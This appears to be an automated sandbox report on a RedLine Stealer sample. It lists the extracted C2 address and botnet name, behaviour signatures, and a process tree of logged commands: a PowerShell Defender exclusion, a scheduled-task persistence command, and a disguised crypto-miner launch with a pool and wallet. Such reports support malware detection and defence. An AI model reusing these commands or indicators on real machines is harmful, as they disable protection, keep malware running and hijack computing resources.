Analysis

  • max time kernel
    76s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    04/01/2023, 01:58

General

  • Target
    file.exe
  • Size 1.6MB
  • Sample230104-cdvfqsgh2v
  • SHA256 d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • GIVEMEMYGUN

C2
  • 193.233.49.83:3321

Attributes
  • auth_value

    862b38f54d952bd9a16b1945a039305a

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Users\Admin\AppData\Local\Temp\ghoul.exe
      "C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb68
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:268
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
          4⤵
          • Creates scheduled task(s)
          PID:1632
      • C:\Users\Admin\AppData\Roaming\Program.exe
        "C:\Users\Admin\AppData\Roaming\Program.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1428
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:792
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RAiXn2Cm9gBmXtWE1r43sAskTm6LNhULcE.worker -p x -t 4
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          4⤵
            PID:1928
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1056 -s 596
          3⤵
          • Loads dropped DLL
          • Program crash
          PID:1772

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ghoul.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          Program.exe

          • Path C:\Users\Admin\AppData\Roaming\Program.exe
          • Size 266KB
          • SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path \Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          memory/268-62-0x000007FEFB8E1000-0x000007FEFB8E3000-memory.dmp

          memory/268-63-0x000007FEECF10000-0x000007FEED933000-memory.dmp

          memory/268-65-0x0000000002824000-0x0000000002827000-memory.dmp

          memory/268-64-0x000007FEEC3B0000-0x000007FEECF0D000-memory.dmp

          memory/268-66-0x000000001B760000-0x000000001BA5F000-memory.dmp

          memory/268-70-0x0000000002824000-0x0000000002827000-memory.dmp

          memory/268-71-0x000000000282B000-0x000000000284A000-memory.dmp

          memory/792-82-0x0000000000090000-0x00000000000C8000-memory.dmp

          memory/792-74-0x0000000000090000-0x00000000000C8000-memory.dmp

          memory/792-76-0x0000000000090000-0x00000000000C8000-memory.dmp

          memory/792-83-0x0000000000090000-0x00000000000C8000-memory.dmp

          memory/1056-60-0x0000000000010000-0x00000000000FE000-memory.dmp

          memory/1120-54-0x0000000000D00000-0x0000000000E96000-memory.dmp

          memory/1120-55-0x0000000075291000-0x0000000075293000-memory.dmp

          memory/1572-96-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-100-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-93-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-94-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-95-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-90-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-97-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-99-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-91-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-103-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-85-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-105-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-106-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-86-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/1572-88-0x0000000140000000-0x00000001400C6000-memory.dmp